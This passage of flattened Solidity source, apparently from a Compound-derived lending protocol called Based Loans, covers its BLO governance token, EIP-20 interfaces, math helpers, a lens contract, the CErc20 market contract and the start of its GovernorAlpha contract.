implementation contract. * It returns to the external caller whatever the implementation returns * or forwards reverts. */ fallback () payable external { // delegate all other functions to current implementation (bool success, ) = comptrollerImplementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize()) switch success case 0 { revert(free_mem_ptr, returndatasize()) } default { return(free_mem_ptr, returndatasize()) } } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; contract Blo { /// @notice EIP-20 token name for this token string public constant name = "Based Loans Ownership"; /// @notice EIP-20 token symbol for this token string public constant symbol = "BLO"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 100000000e18; // 100 million BLO /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Comp token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Comp::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce"); require(now <= expiry, "Comp::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return balance The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return success Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return success Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return success Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return remaining The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return balance The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external; /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return success Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return remaining The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "../CErc20.sol"; import "../CToken.sol"; import "../PriceOracle.sol"; import "../EIP20Interface.sol"; import "../Governance/GovernorAlpha.sol"; import "../Governance/Blo.sol"; interface ComptrollerLensInterface { function markets(address) external view returns (bool, uint); function oracle() external view returns (PriceOracle); function getAccountLiquidity(address) external view returns (uint, uint, uint); function getAssetsIn(address) external view returns (CToken[] memory); function claimComp(address) external; function compAccrued(address) external view returns (uint); } contract CompoundLens { struct CTokenMetadata { address cToken; uint exchangeRateCurrent; uint supplyRatePerBlock; uint borrowRatePerBlock; uint reserveFactorMantissa; uint totalBorrows; uint totalReserves; uint totalSupply; uint totalCash; bool isListed; uint collateralFactorMantissa; address underlyingAssetAddress; uint cTokenDecimals; uint underlyingDecimals; } function cTokenMetadata(CToken cToken) public returns (CTokenMetadata memory) { uint exchangeRateCurrent = cToken.exchangeRateCurrent(); ComptrollerLensInterface comptroller = ComptrollerLensInterface(address(cToken.comptroller())); (bool isListed, uint collateralFactorMantissa) = comptroller.markets(address(cToken)); address underlyingAssetAddress; uint underlyingDecimals; if (compareStrings(cToken.symbol(), "bETH")) { underlyingAssetAddress = address(0); underlyingDecimals = 18; } else { CErc20 cErc20 = CErc20(address(cToken)); underlyingAssetAddress = cErc20.underlying(); underlyingDecimals = EIP20Interface(cErc20.underlying()).decimals(); } return CTokenMetadata({ cToken: address(cToken), exchangeRateCurrent: exchangeRateCurrent, supplyRatePerBlock: cToken.supplyRatePerBlock(), borrowRatePerBlock: cToken.borrowRatePerBlock(), reserveFactorMantissa: cToken.reserveFactorMantissa(), totalBorrows: cToken.totalBorrows(), totalReserves: cToken.totalReserves(), totalSupply: cToken.totalSupply(), totalCash: cToken.getCash(), isListed: isListed, collateralFactorMantissa: collateralFactorMantissa, underlyingAssetAddress: underlyingAssetAddress, cTokenDecimals: cToken.decimals(), underlyingDecimals: underlyingDecimals }); } function cTokenMetadataAll(CToken[] calldata cTokens) external returns (CTokenMetadata[] memory) { uint cTokenCount = cTokens.length; CTokenMetadata[] memory res = new CTokenMetadata[](cTokenCount); for (uint i = 0; i < cTokenCount; i++) { res[i] = cTokenMetadata(cTokens[i]); } return res; } struct CTokenBalances { address cToken; uint balanceOf; uint borrowBalanceCurrent; uint balanceOfUnderlying; uint tokenBalance; uint tokenAllowance; } function cTokenBalances(CToken cToken, address payable account) public returns (CTokenBalances memory) { uint balanceOf = cToken.balanceOf(account); uint borrowBalanceCurrent = cToken.borrowBalanceCurrent(account); uint balanceOfUnderlying = cToken.balanceOfUnderlying(account); uint tokenBalance; uint tokenAllowance; if (compareStrings(cToken.symbol(), "bETH")) { tokenBalance = account.balance; tokenAllowance = account.balance; } else { CErc20 cErc20 = CErc20(address(cToken)); EIP20Interface underlying = EIP20Interface(cErc20.underlying()); tokenBalance = underlying.balanceOf(account); tokenAllowance = underlying.allowance(account, address(cToken)); } return CTokenBalances({ cToken: address(cToken), balanceOf: balanceOf, borrowBalanceCurrent: borrowBalanceCurrent, balanceOfUnderlying: balanceOfUnderlying, tokenBalance: tokenBalance, tokenAllowance: tokenAllowance }); } function cTokenBalancesAll(CToken[] calldata cTokens, address payable account) external returns (CTokenBalances[] memory) { uint cTokenCount = cTokens.length; CTokenBalances[] memory res = new CTokenBalances[](cTokenCount); for (uint i = 0; i < cTokenCount; i++) { res[i] = cTokenBalances(cTokens[i], account); } return res; } struct CTokenUnderlyingPrice { address cToken; uint underlyingPrice; } function cTokenUnderlyingPrice(CToken cToken) public returns (CTokenUnderlyingPrice memory) { ComptrollerLensInterface comptroller = ComptrollerLensInterface(address(cToken.comptroller())); PriceOracle priceOracle = comptroller.oracle(); return CTokenUnderlyingPrice({ cToken: address(cToken), underlyingPrice: priceOracle.getUnderlyingPrice(cToken) }); } function cTokenUnderlyingPriceAll(CToken[] calldata cTokens) external returns (CTokenUnderlyingPrice[] memory) { uint cTokenCount = cTokens.length; CTokenUnderlyingPrice[] memory res = new CTokenUnderlyingPrice[](cTokenCount); for (uint i = 0; i < cTokenCount; i++) { res[i] = cTokenUnderlyingPrice(cTokens[i]); } return res; } struct AccountLimits { CToken[] markets; uint liquidity; uint shortfall; } function getAccountLimits(ComptrollerLensInterface comptroller, address account) public returns (AccountLimits memory) { (uint errorCode, uint liquidity, uint shortfall) = comptroller.getAccountLiquidity(account); require(errorCode == 0); return AccountLimits({ markets: comptroller.getAssetsIn(account), liquidity: liquidity, shortfall: shortfall }); } struct GovReceipt { uint proposalId; bool hasVoted; bool support; uint96 votes; } function getGovReceipts(GovernorAlpha governor, address voter, uint[] memory proposalIds) public view returns (GovReceipt[] memory) { uint proposalCount = proposalIds.length; GovReceipt[] memory res = new GovReceipt[](proposalCount); for (uint i = 0; i < proposalCount; i++) { GovernorAlpha.Receipt memory receipt = governor.getReceipt(proposalIds[i], voter); res[i] = GovReceipt({ proposalId: proposalIds[i], hasVoted: receipt.hasVoted, support: receipt.support, votes: receipt.votes }); } return res; } struct GovProposal { uint proposalId; address proposer; uint eta; address[] targets; uint[] values; string[] signatures; bytes[] calldatas; uint startBlock; uint endBlock; uint forVotes; uint againstVotes; bool canceled; bool executed; } function setProposal(GovProposal memory res, GovernorAlpha governor, uint proposalId) internal view { ( , address proposer, uint eta, uint startBlock, uint endBlock, uint forVotes, uint againstVotes, bool canceled, bool executed ) = governor.proposals(proposalId); res.proposalId = proposalId; res.proposer = proposer; res.eta = eta; res.startBlock = startBlock; res.endBlock = endBlock; res.forVotes = forVotes; res.againstVotes = againstVotes; res.canceled = canceled; res.executed = executed; } function getGovProposals(GovernorAlpha governor, uint[] calldata proposalIds) external view returns (GovProposal[] memory) { GovProposal[] memory res = new GovProposal[](proposalIds.length); for (uint i = 0; i < proposalIds.length; i++) { ( address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas ) = governor.getActions(proposalIds[i]); res[i] = GovProposal({ proposalId: 0, proposer: address(0), eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: 0, endBlock: 0, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); setProposal(res[i], governor, proposalIds[i]); } return res; } struct CompBalanceMetadata { uint balance; uint votes; address delegate; } function getCompBalanceMetadata(Blo comp, address account) external view returns (CompBalanceMetadata memory) { return CompBalanceMetadata({ balance: comp.balanceOf(account), votes: uint256(comp.getCurrentVotes(account)), delegate: comp.delegates(account) }); } struct CompBalanceMetadataExt { uint balance; uint votes; address delegate; uint allocated; } function getCompBalanceMetadataExt(Blo comp, ComptrollerLensInterface comptroller, address account) external returns (CompBalanceMetadataExt memory) { uint balance = comp.balanceOf(account); comptroller.claimComp(account); uint newBalance = comp.balanceOf(account); uint accrued = comptroller.compAccrued(account); uint total = add(accrued, newBalance, "sum comp total"); uint allocated = sub(total, balance, "sub allocated"); return CompBalanceMetadataExt({ balance: balance, votes: uint256(comp.getCurrentVotes(account)), delegate: comp.delegates(account), allocated: allocated }); } struct CompVotes { uint blockNumber; uint votes; } function getCompVotes(Blo comp, address account, uint32[] calldata blockNumbers) external view returns (CompVotes[] memory) { CompVotes[] memory res = new CompVotes[](blockNumbers.length); for (uint i = 0; i < blockNumbers.length; i++) { res[i] = CompVotes({ blockNumber: uint256(blockNumbers[i]), votes: uint256(comp.getPriorVotes(account, blockNumbers[i])) }); } return res; } function compareStrings(string memory a, string memory b) internal pure returns (bool) { return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b)))); } function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CToken.sol"; /** * @title Compound's CErc20 Contract * @notice CTokens which wrap an EIP-20 underlying * @author Compound */ contract CErc20 is CToken, CErc20Interface { /** * @notice Initialize the new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token */ function initialize(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { // CToken initialize does the bulk of the work super.initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set underlying and sanity check it underlying = underlying_; EIP20Interface(underlying).totalSupply(); } /*** User Interface ***/ /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external override returns (uint) { (uint err,) = mintInternal(mintAmount); return err; } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external override returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external override returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external override returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external override returns (uint) { (uint err,) = repayBorrowInternal(repayAmount); return err; } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external override returns (uint) { (uint err,) = repayBorrowBehalfInternal(borrower, repayAmount); return err; } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param repayAmount The amount of the underlying borrowed asset to repay * @param cTokenCollateral The market in which to seize collateral from the borrower * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external override returns (uint) { (uint err,) = liquidateBorrowInternal(borrower, repayAmount, cTokenCollateral); return err; } /** * @notice The sender adds to reserves. * @param addAmount The amount fo underlying token to add as reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external override returns (uint) { return _addReservesInternal(addAmount); } /** * @notice A public function to sweep accidental ERC-20 transfers to this contract. Tokens are sent to admin (timelock) * @param token The address of the ERC-20 token to sweep */ function sweepToken(EIP20NonStandardInterface token) external { require(address(token) != underlying, "CErc20::sweepToken: can not sweep underlying token"); uint256 balance = token.balanceOf(address(this)); token.transfer(admin, balance); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying tokens owned by this contract */ function getCashPrior() internal view override returns (uint) { EIP20Interface token = EIP20Interface(underlying); return token.balanceOf(address(this)); } /** * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case. * This will revert due to insufficient balance or insufficient allowance. * This function returns the actual amount received, * which may be less than `amount` if there is a fee attached to the transfer. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferIn(address from, uint amount) internal override returns (uint) { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this)); token.transferFrom(from, address(this), amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_IN_FAILED"); // Calculate the amount that was *actually* transferred uint balanceAfter = EIP20Interface(underlying).balanceOf(address(this)); require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW"); return balanceAfter - balanceBefore; // underflow already checked above, just subtract } /** * @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified * it is >= amount, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferOut(address payable to, uint amount) internal override { require(to != address(0), "cannot send to zero address"); EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); token.transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_OUT_FAILED"); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; contract GovernorAlpha { /// @notice The name of this contract string public constant name = "Based Loans Governor Alpha"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public pure returns (uint) { return 4_000_000e18; } // 4,000,000 = 4% of BLO /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { return 1_000_000e18; } // 1,000,000 = 1% of BLO /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks) /// @notice The address of the Based Loans Protocol Timelock TimelockInterface public timelock; /// @notice The address of the BLO governance token CompInterface public comp; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain 